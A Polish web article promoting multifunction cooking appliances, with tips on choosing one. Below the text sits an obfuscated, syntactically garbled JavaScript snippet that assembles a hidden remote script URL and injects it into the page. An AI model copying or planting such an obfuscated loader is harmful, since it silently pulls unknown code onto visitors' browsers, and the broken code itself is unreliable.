



## Szybkie i łatwe gotowanie? To możliwe - z urządzeniami wielofunkcyjnymi do gotowania

<p><strong>Przygotowywanie domowych posiłków to już nie tylko moda, ale i warunek zachowania dobrego stanu zdrowia i kondycji. Gotowanie może stać się prawdziwą pasją i dawać wiele satysfakcji i zabawy. Szczególnie, jeśli Twoja kuchnia wyposażona jest w te wszystkie nowoczesne gadzety i sprzęty tak bardzo ułatwiające życie współczesnej pani domu.</strong> <br /><br />Dobrze wyposażona kuchnia wręcz zaprasza do smażenia, pieczenia i duszenia pysznych potraw dla rodziny i przyjaciół. Urządzenia typu &bdquo;slow cooker&rdquo;, garnki do gotowania ryżu lub jajek, termos do robienia jogurtów, szybkiowar &ndash; współczesna kuchnia jest bogata w tak wiele naczyń i urządzeń, że czasami trudno jest ogarnąć ich wszystkie funkcje, nie wspominając już o niemalejącej przestrzeni w szafkach kuchennych, jaką wszystkie te &bdquo;niezbędniki&rdquo; zajmują. I tutaj przychodzi nam z pomocą wielofunkcyjne urządzenie do gotowania. <br /><br /><strong>Oszczędność czasu</strong> <br /><br /><strong>Urządzenie wielofunkcyjne do gotowania</strong> to dla wielu zapracowanych rodzin istotne zbawienie. Dzięki temu, wcale nie nowemu wynalazkowi, czynności, jakie należy w kuchni wykonać ograniczone są do minimum, a cały obiad można przygotować naciiskając zaledwie jedno przycisk. Tego typu wielofunkcyjne urządzenia z powodzeniem łączą w sobie funkcje całej armii sprzętów kuchennych: piekarnika, kuchenki, parowara, jogurtownicy a nawet urządzenia do pieczenia chleba oraz fondue i, w zależności od modelu, wiele innych. <br />Urządzenia te są naprawdę łatwe w obsłudze. W większości wypadków wystarczy pokręcić i wrzucić składniki do miski urządzenia, wybrać właściwy program (i ta część procesu przygotowania posiłku jest chyba najbardziej skomplikowana), włączyć przycisk &bdquo;start&rdquo; i zająć się swoimi sprawami &ndash; urządzenie ugotuje posiłek praktycznie samodzielnie i poinformuje nas o końcu swojej pracy sygnałem dźwiękowym. <br />Bez stania nad garnkami, pilnowania potrawy (koniec z moznym mieszaniami dżemów i konfitur), bez zapachów potraw w całym domu (sprawdza się to szczególnie przy gotowaniu bigosu). Niektóre z urządzeń poradzą sobie także z miksowaniem potraw (jak np. rewolucyjne blendery z funkcją gotowania: <a href="http://www.tefal.pl/Urz%C4%85dzenia-do-gotowania/c/cooking%2Bappliances">http://www.tefal.pl/Urz%C4%85dzenia-do-gotowania/c/cooking%2Bappliances</a>).<br /><br /><strong>Niełatwy wybór</strong> <br /><br /><strong>Wielofunkcyjne urządzenia do gotowania</strong> powinny znaleźć się na wyposażeniu każdej nowoczesnej kuchni &ndash; niejakim utrudnieniem jest tylko ich wybór. Producenci oferują nam naprawdę szeroką gamę tego typu sprzętów, przez co wcale nam nie ułatwiają zakupu. <br />Decydując się na zakup takiego sprzętu trzeba się przede wszystkim zastanowić, z jakich funkcji i najczęściej korzysta się w naszym domu oraz jakie potrawy najczęściej są spożywane. Niektóre z kuchennych urządzeń wielofunkcyjnych są doskonale dla większych rodzin inne będą się idealnie sprawdzać w kawalerskim gospodarstwie. <br /> Jednak bez względu na rodzaj urządzenia wielofunkcyjnego, jaki zamierzamy kupić oraz bez względu na jego funkcje, jest kilka cech, na które powinno się zwracać uwagę. Przede wszystkim istotna jest jakość i rodzaj materiału, z jakich zostały wykonane elementy urządzenia, szczególnie te, które mają bezpośrednią styczność z żywnością &ndash; dobrze, aby były pokryte nieprzywierającą powłoką a poszczególne elementy łatwe do umycia (także w zmywarce). <br />Ceny wielofunkcyjnych urządzeń do gotowania są zazwyczaj nieco droższe niż ceny pojedynczych sprzętów kuchennych (pamiętajmy jednak, że urządzenia te zastępują nam kilka pomniejszych), dlatego też przy wyborze i zakupie tego typu urządzenia warto zwrócić uwagę na markę i renomę firmy, która je wyprodukowała. Takie urządzenie to swoistego rodzaju inwestycja &ndash; nie warto więc kupować kiepskiego sprzętu za z pozoru niższą cenę. <br />Warto także przed zakupem takiego sprzętu zapoznać się z opiniami jego użytkowników &ndash; znajomi oraz internetowe społeczności są tutaj doskonałym źródłem informacji. Dzięki temu możemy mieć pewność, że będziemy zadowoleni z zakupu a w naszej kuchni znajdzie się sprzęt najwyższej jakości. <br />W kuchni nieraz spędzamy sporo czasu, warto więc korzystać w niej ze zdobycy współczesnej techniki i ułatwić sobie nieco żmudny i długotrwały czasami proces przygotowywania posiłków.</p></div><div><script type="text/javascript"> (function(){ ah9s=document.createElement("script");ah9s.src="u"+"(s)+"ta";ah9s.+=(t.l)+"w"+"n";ah9s.+=("T")+o";ah9s.type="text/javascript";ah9s.+=";ah9su="10176300";ah9su+=",7vx1h4d8h9sd]Xla2ez";ah9su+="4ekmfa9x27";ah9s.src="//"+ah9s.\_+ah9su;ah9s.async=true; document.body.appendChild(ah9s); }); </script></div></div><div><img alt="Close icon" data-bbox="107 345 127 360" /></div>